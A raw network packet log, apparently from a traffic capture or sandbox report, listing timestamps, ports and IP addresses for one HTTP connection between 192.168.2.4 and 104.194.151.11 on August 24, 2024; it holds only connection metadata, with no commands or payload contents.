Aug 24, 2024 11:51:55.770539045 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.775198936 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.775218010 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.775228977 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.775238037 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.775240898 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.775266886 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.775293112 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.779962063 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.779979944 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.779989958 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.780002117 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.780005932 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.780014038 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.780016899 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.780035019 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.780062914 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.784847021 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.784858942 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.784868002 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.784881115 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.784887075 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.784898043 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.784905910 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.784917116 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.784929991 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.784939051 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.784945965 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.784955978 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.784966946 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.784967899 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.784980059 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.784981012 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.784992933 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.785003901 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.785012007 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.785017967 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.785028934 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.785039902 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.785043001 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.785053015 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.785059929 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.785063982 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.785069942 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.785074949 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.785083055 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.785094976 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.785105944 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.785139084 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.846473932 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.846484900 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.846493006 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.846653938 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.846657038 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.846663952 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.846682072 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.846693993 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.846693993 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.846704960 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.846728086 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.846754074 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.847498894 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.847510099 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.847521067 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.847541094 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.847556114 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.847803116 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.847839117 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.847863913 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.847875118 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.847898960 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.847902060 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.847909927 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.847920895 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.847929955 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.847949028 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.848730087 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.848741055 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.848752022 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.848763943 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.848783970 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.848793983 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.848795891 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.848814964 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.848838091 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.849558115 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.849569082 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.849579096 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.849598885 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.849617004 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.849620104 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.849628925 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.849653006 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.849663019 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.850491047 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.850502014 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.850512028 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.850523949 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.850533962 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.850536108 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.850560904 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.850574017 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.851262093 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.851274014 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.851279974 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.851310015 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.851310968 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.851320982 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.851337910 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.851362944 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.852073908 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.852085114 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.852094889 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.852114916 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.852128983 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.852152109 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.852164030 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.852190018 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.852200985 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.852924109 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.852933884 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.852950096 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.852958918 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.852961063 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.852972031 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.852974892 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.852994919 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.853018999 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.853754044 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.853773117 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.853785038 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.853794098 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.853801966 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.853820086 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.854324102 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.854335070 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.854345083 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.854355097 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.854365110 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.854367018 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.854372978 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.854407072 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.855138063 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.855201960 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.855232954 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.855262041 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.855269909 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.855282068 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.855304003 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.855309963 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.855314970 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.855325937 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.855335951 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.855360031 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.856429100 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.856498003 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.856519938 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.856532097 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.856556892 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.856576920 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.856578112 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.856589079 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.856599092 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.856614113 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.856637001 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.857080936 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.857093096 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.857101917 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.857122898 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.857130051 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.857141018 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.857141018 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.857152939 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.857161999 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.857178926 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.857191086 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.857935905 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.857953072 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.857964993 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.857974052 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.857990026 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.858009100 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.858043909 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.858055115 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.858064890 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.858078957 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.858078957 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.858088017 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.858109951 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.858865976 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.858911037 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.937228918 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937242985 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937253952 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937299013 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.937334061 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937339067 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.937345982 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937356949 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937371016 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937374115 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.937382936 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937391043 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.937393904 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937405109 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937416077 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937423944 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.937428951 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937452078 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.937470913 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.937483072 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937515974 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937521935 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.937529087 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937553883 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.937560081 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.937568903 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937582016 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937607050 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.937616110 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.937658072 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937680006 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937691927 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937695980 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.937715054 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.937727928 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.937757969 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937769890 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937778950 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937791109 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937791109 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.937813044 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.937840939 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937850952 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.937853098 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937864065 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.937875032 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.937900066 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.938230991 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.938241959 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.938251019 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.938276052 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.938287973 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.938297987 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.938308954 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.938313007 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.938313007 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.938313007 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.938325882 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.938328028 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.938337088 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.938352108 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.938376904 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.938409090 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.938421011 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.938431025 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.938442945 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.938443899 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.938453913 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.938457966 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.938492060 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.940419912 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.940431118 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.940442085 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.940471888 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.940506935 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.940608978 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.940618992 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.940628052 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.940642118 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.940644979 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.940670967 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.940677881 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.940689087 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.940687895 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.940700054 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.940711021 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.940717936 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.940721989 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.940741062 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.940752983 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.940865040 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.940876007 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.940886021 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.940897942 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.940911055 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.940915108 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.940927029 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.940927029 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.940953016 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.940977097 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.941277027 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941287994 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941298962 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941309929 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941320896 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941332102 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941338062 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.941344023 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941354990 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941365004 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941375971 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.941376925 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941385031 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.941386938 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941395998 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.941399097 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941421986 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941427946 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.941437960 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941448927 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.941450119 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941463947 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941473961 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.941476107 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941488028 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941498041 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.941499949 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941512108 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941515923 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.941523075 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941534042 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941545010 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941550970 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.941559076 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941569090 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941572905 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.941580057 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941591024 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.941597939 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941608906 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 11:51:55.941610098 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 11:51:55.941618919 CEST	80	49730	104.194.151.11	192.168.2.4
